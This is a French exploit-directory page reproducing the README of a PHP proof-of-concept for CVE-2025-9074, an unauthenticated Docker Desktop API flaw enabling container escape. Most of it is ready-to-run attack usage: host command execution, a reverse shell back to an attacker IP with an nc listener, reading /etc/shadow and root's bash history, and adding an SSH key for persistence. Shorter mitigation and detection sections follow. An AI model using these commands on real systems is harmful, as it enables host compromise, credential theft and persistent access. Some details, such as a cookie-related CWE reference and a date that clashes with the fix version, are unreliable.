Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-9074 — PHP poc, exploit for CVE-2025-9074 | Kitploit
Outils/GitHubGitHub/c0gnit00/cve-2025-9074
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationLateral MovementPost-ExploitationPenetration TestingCloud SecurityCommand and ControlRemote Access ToolContainer Escape
il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
c0gnit00/cve-2025-9074

CVE-2025-9074

PHP poc, exploit for CVE-2025-9074

Voir le dépôt

CVE-2025-9074 : Exécution de code à distance non authentifiée via l'API Docker Engine

Sévérité : CRITIQUE | Score CVSS : 9.8 (estimé) | Versions affectées : Docker Desktop < 4.44.3

Un exploit de preuve de concept pour CVE-2025-9074, une vulnérabilité d'exécution de code à distance non authentifiée dans l'API Docker Engine qui permet une évasion de conteneur privilégié et un compromis du système hôte.

🔴 Aperçu de la vulnérabilité

CVE-2025-9074 est une vulnérabilité critique dans Docker Desktop qui expose l'API Docker Engine sans authentification ni isolation réseau appropriées. Cela permet à des attaquants distants de :

  • Exécuter des commandes arbitraires avec des privilèges élevés
  • Contourner l'isolation du conteneur et accéder au système de fichiers hôte
  • Établir des connexions reverse shell vers des systèmes contrôlés par l'attaquant
  • Compromettre l'intégralité de l'hôte du conteneur et le système d'exploitation hôte sous-jacent

Vecteur d'attaque

  • Exposition réseau : API Docker exposée sur les interfaces réseau (généralement le port 2375/TCP)
  • Aucune authentification : L'API accepte les requêtes sans authentification
  • Conteneurs privilégiés : Capacité à créer des conteneurs privilégiés avec accès au système de fichiers hôte
  • Montages bind : Accès direct au système de fichiers hôte via les chemins de montage bind

📋 Prérequis

  • PHP CLI (7.0+)
  • extension curl activée dans PHP
  • Connectivité réseau au point de terminaison de l'API Docker exposé
  • Docker Desktop < 4.44.3 (version vulnérable)

Configuration requise pour la cible

La vulnérabilité affecte :

  • Docker Desktop for Windows < 4.44.3
  • Docker Desktop for Mac < 4.44.3
  • Docker Engine (lorsqu'exposé sans TLS)

🚀 Démarrage rapide

Installation

root@kitploit:~
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074

Utilisation de base

Exécuter une commande unique sur l'hôte Docker :

root@kitploit:~
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

Shell inverse

Établir un shell inverse interactif :

root@kitploit:~
# Terminal 1 : Démarrer le listener
nc -lvnp 4444

# Terminal 2 : Exécuter l'exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444

📖 Guide d'utilisation

Syntaxe de la commande

root@kitploit:~
php poc.php -u <url> [options]

Options

Mode : Exécution de commande

Exécuter des commandes uniques sur la cible :

root@kitploit:~
# Simple command
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"

# Read files from host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup

# With cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup

Mode : Shell inverse

Lancer un shell interactif avec callback :

root@kitploit:~
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444

Exemples par OS

Cible Linux

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux

Cible Windows

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows

Cible macOS

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac

🎯 Scénarios d'exploitation réels

1. Reconnaissance

root@kitploit:~
# Enumerate host system
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

2. Récupération d'identifiants

root@kitploit:~
# Extract sensitive files
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"

3. Persistance

root@kitploit:~
# Add SSH key
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"

4. Mouvement latéral

root@kitploit:~
# Enumerate running containers and networks
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"

🔍 Détails techniques

Mécanisme de la vulnérabilité

  1. Socket/API Docker exposé : L'API Docker écoute sur 0.0.0.0:2375 sans authentification
  2. Création de conteneur privilégié : Le POC crée des conteneurs privilégiés via /containers/create
  3. Liaison du système de fichiers hôte : Les conteneurs utilisent des montages bind pour accéder au système de fichiers hôte :
    • Linux : /:/mnt/hostfs
    • macOS : /:/mnt/hostfs
    • Windows : /mnt/host/c:/mnt/hostfs
  4. Exécution de commande : Les commandes s'exécutent avec les privilèges root/SYSTEM à l'intérieur du conteneur
  5. Accès au système de fichiers hôte : Accès direct en lecture/écriture aux chemins /mnt/hostfs

Flux du payload

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│ poc.php (Votre machine)                              │
└────────────┬────────────────────────────────────────┘
             │ Appel API REST HTTP
             ▼
┌─────────────────────────────────────────────────────┐
│ API Docker (Port cible 2375) [NON AUTHENTIFIÉ]      │
└────────────┬────────────────────────────────────────┘
             │ Crée un conteneur
             ▼
┌─────────────────────────────────────────────────────┐
│ Conteneur Alpine privilégié                          │
│ ├─ Accès root complet                               │
│ ├─ Montage bind : /:/mnt/hostfs                     │
│ └─ Exécute la commande de l'attaquant               │
└────────────┬────────────────────────────────────────┘
             │ Sortie de la commande
             ▼
┌─────────────────────────────────────────────────────┐
│ Sortie renvoyée à l'attaquant                        │
└─────────────────────────────────────────────────────┘

Analyse du code

  • Interaction avec l'API Docker : Utilise cURL pour la communication REST API HTTP/1.1
  • Démultiplexage des logs Docker : Gère correctement le format de flux multiplexé de Docker
  • Support multiplateforme : Adapte les chemins de montage bind pour Windows/Mac/Linux
  • Gestion des timeouts : Timeout de 60 secondes pour les commandes longues

🛡️ Atténuation

Actions immédiates

  1. Mettre à jour Docker Desktop

    root@kitploit:~
    # Update to version 4.44.3 or later
    
  2. Isolation réseau

    • Restreindre le port de l'API Docker (2375) à localhost uniquement
    • Utiliser des règles de pare-feu pour bloquer l'accès externe
    • Désactiver l'exposition du socket de l'API Docker
  3. Activer l'authentification TLS

    root@kitploit:~
    # Configure Docker daemon with TLS certificates
    # In daemon.json:
    {
      "tlsverify": true,
      "tlscacert": "/etc/docker/ca.pem",
      "tlscert": "/etc/docker/server-cert.pem",
      "tlskey": "/etc/docker/server-key.pem"
    }
    
  4. Segmentation réseau

    • Exécuter Docker Desktop sur des réseaux isolés
    • Mettre en œuvre un accès réseau zero-trust
    • Utiliser des VPN pour l'accès distant

Paramètres Docker Desktop

  • Windows/Mac : Désactiver « Expose daemon on tcp://localhost:2375 »
  • Utiliser le socket Unix (/var/run/docker.sock) uniquement pour l'accès local
  • Mettre en œuvre l'authentification via Docker Context avec des identifiants

📊 Détection

Détection réseau

root@kitploit:~
# Scan for exposed Docker APIs
nmap -p 2375,2376 -sV target_network

# Check if port responds to Docker API
curl -s http://target:2375/version

Détection par logs

  • Surveiller les logs du démon Docker pour des appels API inhabituels
  • Alerter sur la création de conteneurs privilégiés
  • Suivre les schémas d'utilisation des montages bind

⚠️ Avertissement

Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et d'éducation.

  • N'utilisez ce POC que sur des systèmes vous appartenant ou pour lesquels vous avez une autorisation explicite de test
  • L'accès non autorisé à des systèmes informatiques est illégal
  • Les utilisateurs assument l'entière responsabilité de leurs actions
  • Ce POC est destiné aux tests de pénétration autorisés et à la recherche de vulnérabilités

📝 Références

  • Docker Engine Security
  • Docker API Documentation
  • CVE-2025-9074 Details
  • CWE-784: Reliance on Cookies without Proper Validation

🤝 Contribution

Les contributions sont les bienvenues ! N'hésitez pas à soumettre des issues ou des pull requests.

📄 Licence

Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.

👤 Auteur

Chercheur en sécurité | Testeur d'intrusion


Dernière mise à jour : Mai 2025 | Statut : Recherche active

Télécharger l’outil
OptionCourtRequisDescription
--url-u✅ OuiURL de l'API Docker (ex. http://1.2.3.4:2375)
--mode-m❌ NonMode d'exécution : cmd ou reverse (par défaut : cmd)
--cmd-c⚠️ Pour le mode cmdCommande à exécuter sur la cible
--lhost-l⚠️ Pour le mode reverseVotre adresse IP pour le callback
--lport-p❌ NonVotre port d'écoute (par défaut : 4444)
--os—❌ NonOS cible : linux, mac, windows (par défaut : linux)
--cleanup—❌ NonSupprimer le conteneur après exécution
--help-h❌ NonAfficher le message d'aide